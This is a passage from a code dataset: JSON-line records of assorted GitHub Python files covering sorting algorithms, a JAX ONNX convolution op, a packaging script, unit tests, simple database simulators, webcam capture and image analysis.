)\n SELECT parent_id, id, npmi\n FROM\n (\n SELECT parent_id, id, npmi,\n @kw_rank := IF(@current_parent = parent_id, @kw_rank + 1, 1) AS kw_rank,\n @current_parent := parent_id\n FROM\n (\n (SELECT id2 AS parent_id,\n id1 AS id, npmi\n FROM FoS_npmi_Springer\n WHERE id2 IN \"\"\" + fields_in_sql + \"\"\")\n UNION\n (SELECT\n id1 AS parent_id,\n id2 as id, npmi\n FROM FoS_npmi_Springer\n WHERE id1 IN \"\"\" + fields_in_sql + \"\"\")\n ) as top_keywords\n ORDER BY parent_id, npmi DESC\n ) AS ranked_keywords\n WHERE kw_rank <= 10\n \"\"\"\n get_related_query_params = 2 * keyword_ids\n cur.execute(get_related_keywords_sql, get_related_query_params)\n\n append_given_sql = \"\"\"\n INSERT INTO Top_Keywords\n (parent_id, id, npmi)\n VALUES\n \"\"\" + \",\\n\".join([\"(%s, %s, 1)\"] * len(keyword_ids))\n\n append_given_query_params = [id for id in keyword_ids for i in range(2)]\n\n cur.execute(append_given_sql, append_given_query_params)\n self.db.commit()","repo_name":"Forward-UIUC-2021F/kshitij-sinha-find-papers-by-keyword","sub_path":"src/find_papers_by_keyword/paper_search_engine.py","file_name":"paper_search_engine.py","file_ext":"py","file_size_in_byte":7137,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"81"} +{"seq_id":"43947473595","text":"import give_response\nimport leave_comment\nfrom choose import choose_action\n\n\ndef view_activity_list(conn, user_id):\n weights = [1, 1, 2, 2]\n actions = [\n lambda: dismiss_review_invite_no_response(conn, *get_random_active_review_invite(conn, user_id), user_id),\n lambda: dismiss_survey_invite_no_response(conn, get_random_active_survey_invite(conn, user_id), user_id),\n lambda: open_review(conn, *get_random_active_review_invite(conn, user_id), user_id),\n lambda: open_survey(conn, get_random_active_survey_invite(conn, user_id), user_id)\n ]\n\n choose_action(weights, actions)\n return True\n\n\ndef get_random_active_review_invite(conn, user_id):\n cursor = conn.cursor()\n\n cursor.execute(\"\"\"\n SELECT movie_id, creator_id, invitee_id, dismissed\n FROM mutable.review_invites\n WHERE invitee_id = %s AND dismissed IS FALSE\n ORDER BY RANDOM()\n LIMIT 1;\n \"\"\", (user_id, ))\n\n result = cursor.fetchone()\n if result is None:\n return None, None\n\n (movie_id, creator_id, invitee_id, dismissed) = result\n\n cursor.close()\n\n return movie_id, creator_id\n\n\ndef get_random_active_survey_invite(conn, user_id):\n cursor = conn.cursor()\n\n cursor.execute(\"\"\"\n SELECT survey_id, invitee_id, dismissed\n FROM mutable.survey_invites\n WHERE invitee_id = %s AND dismissed IS FALSE\n ORDER BY RANDOM()\n LIMIT 1;\n \"\"\", (user_id,))\n\n result = cursor.fetchone()\n if result is None:\n return None\n\n (survey_id, invitee_id, dismissed) = result\n\n cursor.close()\n\n return survey_id\n\n\ndef dismiss_review_invite_no_response(conn, movie_id, creator_id, user_id):\n leave_comment.dismiss_review_invite(conn, movie_id, creator_id, user_id)\n conn.commit()\n\n\ndef dismiss_survey_invite_no_response(conn, survey_id, user_id):\n give_response.dismiss_survey_invite(conn, survey_id, user_id)\n conn.commit()\n\n\ndef open_review(conn, movie_id, creator_id, user_id):\n if movie_id is not None and creator_id is not None:\n leave_comment.insert_comment(conn, movie_id, creator_id, user_id)\n\n\ndef open_survey(conn, survey_id, user_id):\n if survey_id is not None:\n give_response.respond(conn, user_id, survey_id)\n","repo_name":"alisultan14/movie_database_simulator","sub_path":"activity_list.py","file_name":"activity_list.py","file_ext":"py","file_size_in_byte":2216,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"16095132978","text":"# Vivarium\n# Name - This will be the overall title / heading of the monitoring application.\n# Location - The location of this vivarium, so we can find it.\n# \n\nclass Vivarium():\n def __init__(self, name, location):\n self.name = name\n self.location = location\n self.sensors = {}","repo_name":"rod-laycock/raspberry-pi-vivarium","sub_path":"src/api/models/vivarium.py","file_name":"vivarium.py","file_ext":"py","file_size_in_byte":306,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"81"} +{"seq_id":"5074356224","text":"#hacer un programa como Banco\n\nclass Persona():\n\n def __init__(self):\n self.nombre=None\n self.edad=None\n self.dni=None\n self.savings=None\n\n def menu(self):\n sele=0\n while sele != 5:\n print(\"Welcome to the Bank Puchau\")\n print()\n print(\"1. Open an account\")\n print(\"2. Make a deposit\")\n print(\"3. Make a withdraw\")\n print(\"4. Print account\")\n print(\"5. Exit\")\n print()\n sele=int(input(\"Select: \"))\n if sele ==1:\n self.open_account()\n print(\"Your request is done succesfully!\")\n\n if sele==2:\n self.deposit()\n print(\"Your request is done succesfully!\")\n\n if sele==3:\n self.withdraw()\n print(\"Your request is done succesfully!\")\n\n if sele==4:\n self.imprimir()\n print(\"Your request is done succesfully!\")\n\n if sele==5:\n self.salir()\n print(\"Your request is done succesfully!\")\n else:\n sele=0\n exit()\n\n def open_account(self):\n print(\"Do you want to open an account. Follow the instructions: \")\n self.nombre=input(\"Your name: \")\n self.edad=int(input(\"Age: \"))\n self.dni=int(input(\"Dni: \"))\n self.savings=float(input(\"¿How much money?: \"))\n\n def deposit(self):\n print(\"Do you want to add more money to your account. Follow the instructions: \")\n newsav=float(input(\"How much do you want to add?: \"))\n self.savings=self.savings + newsav\n\n def withdraw(self):\n print(\"Do you want to extract money. Follow the instructions: \")\n newret=float(input(\"How much do you want to retire?: \"))\n if newret > self.savings:\n print(\"You do not have enough money in your account. Please, do a deposit first or retire less money.\")\n else:\n self.savings=self.savings-newret\n\n def imprimir(self):\n print(\"Do you want to actualize your account\")\n print(self.nombre)\n print(self.edad)\n print(self.dni)\n print(self.savings)\n\n def salir(self):\n print(\"THanks for using Bank Puchau\")\n\n\n#bloque principal\n\ncustomer1=Customer()\npersona1=Persona()\npersona1.menu()\n","repo_name":"DanPuch/hello-world","sub_path":"class_bank_account.py","file_name":"class_bank_account.py","file_ext":"py","file_size_in_byte":2377,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"72461438024","text":"import socket\nHOST = '192.168.0.201'\nPORT = 8080\n\nrequest = 'can you hear me?'\n\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.connect((HOST,PORT))\n\ns.sendall(request.encode('utf-8'))\n\nresponse = s.recv(1024)\n\nprint('request is:',request)\nprint('response is:',response.decode('utf-8'))\n\ns.close()","repo_name":"HanChengITer/PyStudy","sub_path":"socket_demos/demo1/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":305,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"21571545359","text":"import unittest\nfrom wordengine import models\n\n\nclass SplitCSVTest(unittest.TestCase):\n\n # For the best cases:\n t_theme = 'тема'\n t_dialect = 'диалект'\n t_group_comment = 'комментарий_группы'\n t_synt_cat = 'синтаксическая_категория'\n t_lexeme_param = 'параметры_лексемы'\n t_transl_wf = 'перевод'\n t_transl_dialect = 'диалект_перевода'\n t_transl_comment = 'комментарий_перевода'\n t_wordform = 'словоформа'\n t_wf_param = 'грамматическая_категория'\n t_comment = 'комментарий'\n\n # For cases with incorrect data\n t_dialect2 = '@nother диалект'\n t_lexeme_param2 = 'another параметр[лексемы'\n\n csvcell = models.ProjectCSVCell(colnum=0, rownum=0)\n\n def test_split_lexeme(self):\n \"\"\"\n case format:\n synt_cat{1} [lexeme_param]{*}\n \"\"\"\n cases = [\n [[], self.t_synt_cat, ''],\n [[], self.t_synt_cat, [self.t_lexeme_param]],\n [[], self.t_synt_cat, [self.t_lexeme_param] * 20],\n [['CSV-2'], '', ''],\n [['CSV-2'], '', [self.t_lexeme_param]],\n [['CSV-7'], self.t_synt_cat, [self.t_lexeme_param2]]\n ]\n\n for case in cases:\n t_line = '{} {}'.format(case[1], ''.join(['[{}]'.format(s) for s in case[2]]))\n t_synt_cat_fact, t_lex_params_fact, errors = self.csvcell.split_data(t_line, False, True, False)\n if case[0]:\n for exp_error in case[0]:\n self.assertIn(exp_error, [e[1].errorcode for e in errors], case)\n else:\n self.assertFalse(errors, 'Unexpected errors present in: ' + str(case))\n self.assertEqual(case[1], t_synt_cat_fact, case)\n self.assertEqual(case[2], t_lex_params_fact, case)\n\n def test_split_translation_group(self):\n \"\"\"\n case format:\n [theme]{?} [dialect]{*} \"comment\"{?}\n \"\"\"\n cases = [\n [[], '', ''],\n [[], [self.t_dialect], ''],\n [[], [self.t_theme, self.t_dialect], ''],\n [[], [self.t_dialect] * 20, ''],\n [[], '', self.t_group_comment],\n [[], [self.t_theme], self.t_group_comment],\n [[], [self.t_theme, self.t_dialect], self.t_group_comment],\n [['CSV-7'], [self.t_dialect2], '']\n ]\n\n for case in cases:\n t_line = '{} {}'.format(''.join(['[{}]'.format(s) for s in case[1]]), '\"{}\"'.format(case[2]))\n t_group_params_fact, t_group_comment_fact, errors = self.csvcell.split_data(t_line, False, False, True)\n if case[0]:\n for exp_error in case[0]:\n self.assertIn(exp_error, [e[1].errorcode for e in errors], case)\n else:\n self.assertFalse(errors, 'Unexpected errors present in: ' + str(case))\n self.assertEqual(case[1], t_group_params_fact, case)\n self.assertEqual(case[2], t_group_comment_fact, case)\n\n def test_split_wordform(self):\n \"\"\"\n case format:\n wordform{1} [params]{*} \"comment\"{?}\n \"\"\"\n cases = [\n [['CSV-2'], '', '', ''],\n [['CSV-2'], '', [self.t_wf_param, self.t_dialect, self.t_wf_param], self.t_comment],\n [[], self.t_wordform, '', ''],\n [[], self.t_wordform, '', self.t_comment],\n [[], self.t_wordform, [self.t_wf_param], self.t_comment],\n [[], self.t_wordform, [self.t_wf_param] * 20, self.t_comment],\n [[], self.t_wordform, [self.t_wf_param, self.t_dialect, self.t_wf_param], ''],\n [[], self.t_wordform, [self.t_wf_param, self.t_dialect, self.t_wf_param], self.t_comment],\n ]\n\n for case in cases:\n t_line = '{} {} {}'.format(case[1], ''.join(['[{}]'.format(s) for s in case[2]]), '\"{}\"'.format(case[3]))\n t_wordform_fact, t_wf_params_fact, t_comment_fact, errors = self.csvcell.split_data(t_line, False, True, True)\n if case[0]:\n for exp_error in case[0]:\n self.assertIn(exp_error, [e[1].errorcode for e in errors], case)\n else:\n self.assertFalse(errors, 'Unexpected errors present in: ' + str(case))\n self.assertEqual(case[1], t_wordform_fact, case)\n self.assertEqual(case[2], t_wf_params_fact, case)\n self.assertEqual(case[3], t_comment_fact, case)\n\n def test_split_translation(self):\n \"\"\"\n case format:\n [params] wordform [params] \"comment\"\n \"\"\"\n cases = [\n [['CSV-2'], [self.t_lexeme_param], '', [self.t_dialect], self.t_comment],\n [[], [self.t_lexeme_param], self.t_wordform, [self.t_dialect], self.t_comment]\n ]\n\n for case in cases:\n t_line = '{} {} {} {}'.format(''.join(['[{}]'.format(s) for s in case[1]]), case[2],\n ''.join(['[{}]'.format(s) for s in case[3]]), '\"{}\"'.format(case[4]))\n t_params_fact, t_wordform_fact, t_dialect_fact, t_comment_fact, errors =\\\n self.csvcell.split_data(t_line, True, True, True)\n if case[0]:\n for exp_error in case[0]:\n self.assertIn(exp_error, [e[1].errorcode for e in errors], case)\n else:\n self.assertFalse(errors, 'Unexpected errors present in: ' + str(case))\n self.assertEqual(case[1], t_params_fact)\n self.assertEqual(case[2], t_wordform_fact)\n self.assertEqual(case[3], t_dialect_fact)\n self.assertEqual(case[4], t_comment_fact)\n","repo_name":"krom-attic/wordcontrol_old","sub_path":"wordengine/tests/test_csvworks.py","file_name":"test_csvworks.py","file_ext":"py","file_size_in_byte":6277,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"41310711387","text":"import os\nimport sys\nimport io\n\nfrom setuptools import setup, Extension\n\npackage_name = 'opentdf'\n\ndef get_version():\n python_sdk_version = None\n\n try:\n with io.open(os.path.join(os.path.abspath(os.path.dirname(__file__)), '..', '..', '..', 'VERSION')) as f:\n python_sdk_version = f.read().strip()\n except FileNotFoundError as error:\n print(f'VERSION file not found make sure to run from the same directory as this file. Exception:{error}')\n raise\n\n git_branch = None\n if 'BUILDKITE_BRANCH' in os.environ:\n git_branch = os.environ['BUILDKITE_BRANCH']\n\n build_number = None\n if 'BUILDKITE_BUILD_NUMBER' in os.environ:\n build_number = os.environ['BUILDKITE_BUILD_NUMBER']\n\n if git_branch and build_number:\n if git_branch == 'develop':\n python_sdk_version = f'{python_sdk_version}a{build_number}'\n elif git_branch == 'master':\n python_sdk_version = f'{python_sdk_version}b{build_number}'\n\n print(f'Platform:{sys.platform}')\n print(f'Python SDK version:{python_sdk_version}')\n return python_sdk_version\n\nversion = get_version()\n\n# Read the readme text from VERSION file.\ndef load_readme():\n with io.open('../../../README.md', encoding=\"utf-8\") as f:\n return f.read()\n\ninclude_dirs = []\nlibrary_dirs = []\nlibrary_dirs = library_dirs.append(os.path.join('..', '..', \"..\",\"opentdf-cpp\", \"lib\"))\n\ntdf_library = 'libopentdf_static_combined.a'\nif sys.platform == 'win32':\n tdf_library = 'opentdf_static_combined.lib'\n\nlibdir = os.path.join('..', '..', \"..\", \"opentdf-cpp\")\nlibrary_file = os.path.join('..', '..', \"..\", \"opentdf-cpp\", \"lib\", tdf_library)\n\nextra_objects = []\nextra_objects.append(library_file)\nif sys.platform == 'win32':\n extra_objects.append(\"crypt32.lib\")\n extra_objects.append(\"ws2_32.lib\")\n extra_objects.append(\"bcrypt.lib\")\n extra_objects.append(\"user32.lib\")\n extra_objects.append(\"advapi32.lib\")\n extra_objects.append(\"gdi32.lib\")\n\ncflags = [\"-std=c++17\", \"-fvisibility=hidden\"]\n\ncflags = []\nif sys.platform == 'darwin':\n cflags.append('-std=c++17')\n cflags.append('-fvisibility=hidden')\n cflags.append('-mmacosx-version-min=10.14')\nelse:\n cflags.append('-std=c++17')\n cflags.append('-fvisibility=hidden')\n\nclass get_pybind_include(object):\n \"\"\"Helper class to determine the pybind11 include path\n The purpose of this class is to postpone importing pybind11\n until it is actually installed, so that the ``get_include()``\n method can be invoked. \"\"\"\n\n def __init__(self, user=False):\n self.user = user\n\n def __str__(self):\n import pybind11\n return pybind11.get_include(self.user)\n\ntf3_module = Extension(\n package_name,\n sources=[\"python_module.cpp\"],\n extra_compile_args=cflags,\n include_dirs=[os.path.join(libdir, \"include\"),\n os.path.join(libdir, \"src\"),\n get_pybind_include(),\n get_pybind_include(user=True)],\n library_dirs=library_dirs,\n extra_objects=extra_objects,\n libraries=extra_objects,\n language='c++')\n\nif sys.platform == 'win32':\n tf3_module = Extension(\n package_name,\n sources=[\"python_module.cpp\"],\n include_dirs=[os.path.join(libdir, \"include\"),\n os.path.join(libdir, \"src\"),\n get_pybind_include(),\n get_pybind_include(user=True)],\n extra_objects=extra_objects,\n extra_compile_args=['/std:c++17', '/MD', '/O2', '/Ob2'],\n extra_link_args=extra_objects,\n language='c++')\n\nsetup(\n name=package_name,\n version=version,\n author='Virtru',\n author_email='developers@virtru.com',\n url='https://developer.virtru.com/',\n license='The Clear BSD License',\n description='Python Wrapper for openTDF SDK',\n long_description=load_readme(),\n long_description_content_type='text/markdown',\n install_requires=[],\n classifiers=[\n 'Development Status :: 5 - Production/Stable',\n 'Environment :: Console',\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: BSD License',\n 'Operating System :: MacOS :: MacOS X',\n 'Operating System :: Microsoft :: Windows',\n 'Operating System :: POSIX',\n 'Operating System :: Unix',\n 'Programming Language :: Python',\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.6',\n 'Programming Language :: Python :: 3.7',\n 'Programming Language :: Python :: 3.8',\n 'Programming Language :: Python :: 3.9',\n 'Programming Language :: Python :: 3.10',\n 'Programming Language :: Python :: 3.11',\n 'Topic :: Software Development',\n 'Topic :: Software Development :: Libraries :: Application Frameworks'\n ],\n ext_modules=[tf3_module],\n)","repo_name":"opentdf/client-python","sub_path":"src/python-bindings/pips/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":4866,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"81"} +{"seq_id":"38544124395","text":"from collections.abc import Callable, Sequence\nimport functools\nimport inspect\nfrom typing import Any, Optional\n\nimport jax\nfrom jax import jit\nfrom jax import lax\nfrom jax import numpy as jnp\nfrom jaxonnxruntime.core import handler\nfrom jaxonnxruntime.core import onnx_node\n\n\n@handler.register_op(\"Conv\")\nclass Conv(handler.Handler):\n \"\"\"Implementation of the ONNX Conv operator.\"\"\"\n\n @classmethod\n def _prepare(\n cls, node: onnx_node.OnnxNode, inputs: Sequence[Any], onnx_jax_impl: Any\n ):\n sig = inspect.signature(onnx_jax_impl)\n kwparams = [\n param.name\n for param in sig.parameters.values()\n if param.kind == inspect.Parameter.KEYWORD_ONLY\n ]\n for name in kwparams:\n node.attrs_dict[name] = node.attrs.get(name, None)\n\n if not node.attrs_dict[\"group\"]:\n node.attrs_dict[\"group\"] = 1\n if \"pads\" in node.attrs:\n pads = node.attrs[\"pads\"]\n # ONNX follows [x1_begin, x2_begin...x1_end, x2_end,...].\n # lax conv is a sequence of n (low, high) integer pairs.\n n = len(pads) // 2\n pads_new = ((pads[i], pads[i + n]) for i in range(n))\n node.attrs_dict[\"pads\"] = tuple(pads_new)\n else:\n pad_str_type = node.attrs.get(\"auto_pad\", \"VALID\")\n onnx_to_jax_pad_type = {\n \"SAME_UPPER\": \"SAME\",\n \"VALID\": \"VALID\",\n \"SAME_LOWER\": \"SAME_LOWER\",\n }\n assert (\n pad_str_type in onnx_to_jax_pad_type\n ), f\"Invalid auto_pad attribute: {pad_str_type}\"\n node.attrs_dict[\"pads\"] = onnx_to_jax_pad_type[pad_str_type]\n\n @classmethod\n def version_1(\n cls, node: onnx_node.OnnxNode, inputs: Sequence[Any]\n ) -> Callable[..., Any]:\n \"\"\"ONNX version_1 Conv op.\"\"\"\n cls._prepare(node, inputs, onnx_conv)\n return onnx_conv\n\n @classmethod\n def version_11(\n cls, node: onnx_node.OnnxNode, inputs: Sequence[Any]\n ) -> Callable[..., Any]:\n \"\"\"ONNX version_11 Conv op.\"\"\"\n cls._prepare(node, inputs, onnx_conv)\n return onnx_conv\n\n\n@functools.partial(\n jit,\n static_argnames=(\"group\", \"kernel_shape\", \"pads\", \"strides\", \"dilations\"),\n)\ndef onnx_conv(\n *inputs,\n group: int = 1,\n kernel_shape: Optional[tuple[int, ...]] = None,\n pads: Any = \"VALID\",\n strides: Optional[tuple[int, ...]] = None,\n dilations: Optional[tuple[int, ...]] = None,\n) -> jax.Array:\n \"\"\"JAX common impl of onnx Conv.\n\n Args:\n *inputs: all those inputs. it include x =The input tensor,w = The weight\n tensor.b (optional) = The bias tensor.\n group: The number of groups.\n kernel_shape: The kernel shape.\n pads: The padding.\n strides: The strides.\n dilations: The dilations.\n\n Returns:\n jax.numpy.ndarray: The output tensor.\n \"\"\"\n assert len(inputs) == 2 or len(inputs) == 3\n if len(inputs) == 2:\n x, w = inputs\n b = None\n else:\n x, w, b = inputs\n kernel_shape = kernel_shape or w.shape\n spatial_size = w.ndim - 2\n strides = strides or tuple([1] * spatial_size)\n\n if b is not None:\n b = b.reshape([1, w.shape[0]] + [1] * spatial_size)\n else:\n b = jnp.array(0)\n\n out = lax.conv_general_dilated(\n lhs=x,\n rhs=w,\n window_strides=strides,\n padding=pads,\n lhs_dilation=None,\n rhs_dilation=dilations,\n dimension_numbers=None,\n feature_group_count=group,\n batch_group_count=1,\n )\n return out + b\n","repo_name":"google/jaxonnxruntime","sub_path":"jaxonnxruntime/onnx_ops/conv.py","file_name":"conv.py","file_ext":"py","file_size_in_byte":3339,"program_lang":"python","lang":"en","doc_type":"code","stars":42,"dataset":"github-code","pt":"81"} +{"seq_id":"16300215809","text":"# UFSC - Campus Trindade\n# PPGEAS - Introducao a Algoritmos\n# Matuzalem Muller dos Santos\n# 2019/1\nfrom random import randint\nimport insertion_sort\nimport time\nimport sys\n\ndef bucket_sort(array):\n # n = 0\n largest = max(array)\n length = len(array)\n size = largest/length\n \n buckets = [[] for _ in range(length)]\n for i in range(length):\n j = int(array[i]/size)\n if j != length:\n buckets[j].append(array[i])\n else:\n buckets[length - 1].append(array[i])\n # n += 1\n \n for i in range(length):\n # buckets[i], m = insertion_sort.insertion_sort(buckets[i])\n # n += m\n insertion_sort.insertion_sort(buckets[i])\n \n array = []\n for i in range(length):\n array = array + buckets[i]\n \n return array\n\n\nif __name__ == '__main__': \n array = []\n random_number = 0 \n try:\n number_of_elements = int(sys.argv[1])\n except:\n number_of_elements = 10 \n\n for i in range(0, number_of_elements):\n random_number = randint(1, 9_999_999_999)\n array.append(random_number)\n # print(array)\n \n start_time = time.time()\n # array, n = bucket_sort(array)\n array = bucket_sort(array)\n running_time = time.time() - start_time\n\n # print(array)\n # print(n)\n print(running_time)","repo_name":"matuzalemmuller/algoritmos","sub_path":"sorting/bucket_sort.py","file_name":"bucket_sort.py","file_ext":"py","file_size_in_byte":1317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"18900458744","text":"\"\"\"\nYou are given the head of a linked list, and an integer k.\n\nReturn the head of the linked list after swapping the values of the kth node from the beginning and the kth node from the end (the list is 1-indexed).\n\n\n\nExample 1:\n\n\nInput: head = [1,2,3,4,5], k = 2\nOutput: [1,4,3,2,5]\nExample 2:\n\nInput: head = [7,9,6,6,7,8,3,0,9,5], k = 5\nOutput: [7,9,6,6,8,7,3,0,9,5]\n\n\nConstraints:\n\nThe number of nodes in the list is n.\n1 <= k <= n <= 10^5\n0 <= Node.val <= 100\n\"\"\"\nfrom typing import Optional\n\nfrom linkedlist.ListNode import ListNode\n\n\nclass SwappingNodesinaLinkedList:\n def swapNodes(self, head: Optional[ListNode], k: int) -> Optional[ListNode]:\n ptr, kthnode, antikthnode = head, head, head\n idx = 1\n while idx < k:\n ptr = ptr.next\n idx += 1\n\n #now the ptr is the kth node\n kthnode = ptr\n\n #Because the gap between antikthnode and ptr.next is now k,\n #if both move forward at the same time, when ptr reaches the end, antikthnode will be the kth node from the end.\n while ptr.next:\n ptr = ptr.next\n antikthnode = antikthnode.next\n\n kthnode.val, antikthnode.val = antikthnode.val, kthnode.val\n return head\n","repo_name":"yangmingxuan/pythonalgorithms","sub_path":"linkedlist/SwappingNodesinaLinkedList.py","file_name":"SwappingNodesinaLinkedList.py","file_ext":"py","file_size_in_byte":1228,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"10810679176","text":"given_string = \"\"\"One morning, when Gregor Samsa woke from troubled dreams, \nhe found himself transformed in his bed into a horrible vermin.\nHe lay on his armour-like back, and if he lifted his head a \nlittle he could see his brown belly, slightly domed and divided by \narches into stiff sections. The bedding was hardly able to cover \nit and seemed ready to slide off any moment. His many legs, pitifully \nthin compared with the size of the rest of him, waved about helplessly \nas he looked.\"\"\"\n\ngregor_index=given_string.index(\"Gregor\")#used to find the index of the first letter of gregor\ngregor_indexlength=len(\"Gregor\")#used to find the length of string\ngregor_ind=gregor_index+gregor_indexlength#used to find the length for the frst to last letter of \nGregor=given_string[gregor_index:gregor_ind]#prints gregor\nprint(Gregor)\nH_index=given_string.index(\"H\")\nE_index=given_string.index(\"e\")\nLL_index=given_string.index(\"l\")\nO_index=given_string.index(\"o\")\nHello=given_string[H_index] + given_string[E_index] +given_string[LL_index]+given_string[LL_index] +given_string[O_index]\nprint(Hello,Gregor)\n","repo_name":"shabanxhemajli92/ex12","sub_path":"ex12.py","file_name":"ex12.py","file_ext":"py","file_size_in_byte":1102,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"73008674824","text":"import cv2\r\nimport numpy as np\r\nimport os\r\nimport config\r\n\r\nsaut=10\r\n\r\ndir=config.dir_neg\r\n#dir=config.dir_pos\r\nos.makedirs(dir, exist_ok=True)\r\n\r\nid=0\r\nwhile os.path.isfile(dir+\"image-{:d}.png\".format(id)):\r\n id+=1\r\nid*=saut\r\n\r\ncap=cv2.VideoCapture(0)\r\nwidth=int(cap.get(3))\r\nenregistre=0\r\nwhile True:\r\n ret, frame=cap.read()\r\n\r\n if enregistre:\r\n if not id%saut:\r\n id_=int(id/saut)\r\n fichier=dir+\"image-{:d}.png\".format(id_)\r\n print(\"Création du fichier\", fichier)\r\n cv2.imwrite(fichier, frame)\r\n id+=1\r\n\r\n cv2.rectangle(frame, (0, 0), (width, 30), (100, 100, 100), cv2.FILLED)\r\n cv2.putText(frame, \"[e] enregistrement repertoire: {} [q] quitter\".format(dir), (10, 20), cv2.FONT_HERSHEY_PLAIN, 1, (255, 255, 255), 0)\r\n if enregistre:\r\n cv2.circle(frame, (width-20, 15), 5, (0, 0, 255), 8)\r\n\r\n cv2.imshow('Camera', frame)\r\n key=cv2.waitKey(1)&0xFF\r\n if key==ord('e'):\r\n enregistre=not enregistre\r\n if key==ord('q'):\r\n quit()\r\n","repo_name":"L42Project/Tutoriels","sub_path":"Tensorflow/tutoriel30/enregistrement.py","file_name":"enregistrement.py","file_ext":"py","file_size_in_byte":1038,"program_lang":"python","lang":"fr","doc_type":"code","stars":70,"dataset":"github-code","pt":"81"} +{"seq_id":"40416757308","text":"import os\nimport cv2\nimport numpy as np\nfrom sklearn.cluster import KMeans\nfrom PIL import Image, ImageChops\nimport imquality.brisque as br\nimport requests\nfrom urllib.request import urlopen\nfrom io import BytesIO\n\n_url = 'https://media.wired.com/photos/5e59a85635982c0009f6eb8a/master/w_2560%2Cc_limit/python-popularity.jpg'\n\n\n# def get_file_name(url):\n# name = ''\n# for item in url[::-1]:\n# if item != '/':\n# name += item\n# else:\n# break\n# return name[::-1]\n#\n#\n# file_name = get_file_name(_url)\n\nfile = requests.get(url=_url, stream=True)\nfile_name = BytesIO(file.content)\ncv2_file = urlopen(_url)\ncv_img = np.asarray(bytearray(cv2_file.read()),dtype=\"uint8\")\nmeta = cv2_file.info()\n\n# img = cv2.imdecode(cv_img, cv2.IMREAD_COLOR)\n# if file.status_code == 200:\n# with open(file_name, 'wb') as out_file:\n# shutil.copyfileobj(file.raw, out_file)\n\n\ndef visualize_colors(cluster, centroids):\n labels = np.arange(0, len(np.unique(cluster.labels_)) + 1)\n (hist, _) = np.histogram(cluster.labels_, bins=labels)\n hist = hist.astype(\"float\")\n hist /= hist.sum()\n\n colors = sorted([(percent, color) for (percent, color) in zip(hist, centroids)])\n colors_list = []\n count = 0\n for (percent, color) in colors:\n count += 1\n colors_list.append({f'c{count}': list(color), f'p{count}': \"{:0.2f}%\".format(percent * 100)})\n\n return colors_list\n\n\ndef check_image_has_border(im):\n bg = Image.new(im.mode, im.size, im.getpixel((0, 0)))\n diff = ImageChops.difference(im, bg)\n diff = ImageChops.add(diff, diff, 2.0, -100)\n bbox = diff.getbbox()\n # if bbox:\n # return im.crop(bbox)\n return bbox != (0, 0, im.size[0], im.size[1])\n\n\nimage = cv2.imdecode(cv_img, cv2.IMREAD_COLOR)\nheight, width, _ = image.shape\nimage = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)\nreshape = image.reshape((image.shape[0] * image.shape[1], 3))\n\n_cluster = KMeans(n_clusters=5).fit(reshape)\nvisualize = visualize_colors(_cluster, _cluster.cluster_centers_)\nimg = Image.open(file_name)\n_format = img.format\nquality = br.score(img)\n# volume = os.stat(file_name).st_size\n# volume = len(img.fp.read())\nvolume = meta.get(name=\"Content-Length\")\ncheck_border = check_image_has_border(img)\n\nprint({\n 'Colors': visualize,\n 'Format': _format,\n 'Volume': f'{str(volume)} Bytes',\n 'Quality': quality,\n 'Height': height,\n 'Width': width,\n 'IsBorderRemoved': check_border\n})\n","repo_name":"shahab-qazavi/simpleimageprocessing","sub_path":"process.py","file_name":"process.py","file_ext":"py","file_size_in_byte":2464,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"1864578366","text":"from impl.sparse_apply_common import SparseApply\n\nfrom topi.cce import util\nfrom te import platform as tbe_platform\n\n# when input_dtype is float32 and shape_size_limit >= 2**29, then\n# calculated address value in DMA caused Signed integer overflow.\nSHAPE_SIZE_LIMIT = (2**29 - 1)\n\n\nclass SparseApplyAdadelta(SparseApply):\n \"\"\"\n Function: use to store sparse_apply_adadelta base parameters\n \"\"\"\n\n # pylint: disable=too-many-statements\n def __init__(self,\n var,\n accum,\n accum_update,\n learning_rate,\n rho,\n grad,\n indices,\n epsilon,\n kernel_name):\n \"\"\"\n Init sparse_apply_adadelta base parameters\n\n Parameters\n ----------\n var: dict\n dict of tensor var, include shape and dtype.\n accum: dict\n dict of tensor accum, include shape and dtype.\n Must have the same dtype and shape as var.\n accum_update: dict\n dict of tensor accum_update, include shape and dtype.\n Must have the same dtype and shape as var.\n learning_rate: dict\n dict of scalar learning_rate,\n Must have the same dtype as var.\n grad: dict\n dict of tensor grad,\n Must have the same dtype as var.\n indices: dict\n dict of tensor indices, include shape and dtype, only support int32.\n rho: float\n scalar\n accum_updateentum: float\n scalar\n epsilon: float\n scalar\n kernel_name: str\n default value is \"sparse_apply_adadelta_d\"\n\n Returns:\n None\n \"\"\"\n super().__init__(var, grad, indices, kernel_name)\n self.epsilon = epsilon\n\n self.var_shape = var.get(\"shape\")\n self.var_dtype = var.get(\"dtype\").lower()\n\n self.accum_shape = accum.get(\"shape\")\n self.accum_dtype = accum.get(\"dtype\").lower()\n\n self.accum_update_shape = accum_update.get(\"shape\")\n self.accum_update_dtype = accum_update.get(\"dtype\").lower()\n\n self.lr_shape = learning_rate.get(\"shape\")\n self.lr_dtype = learning_rate.get(\"dtype\").lower()\n\n self.rho_shape = 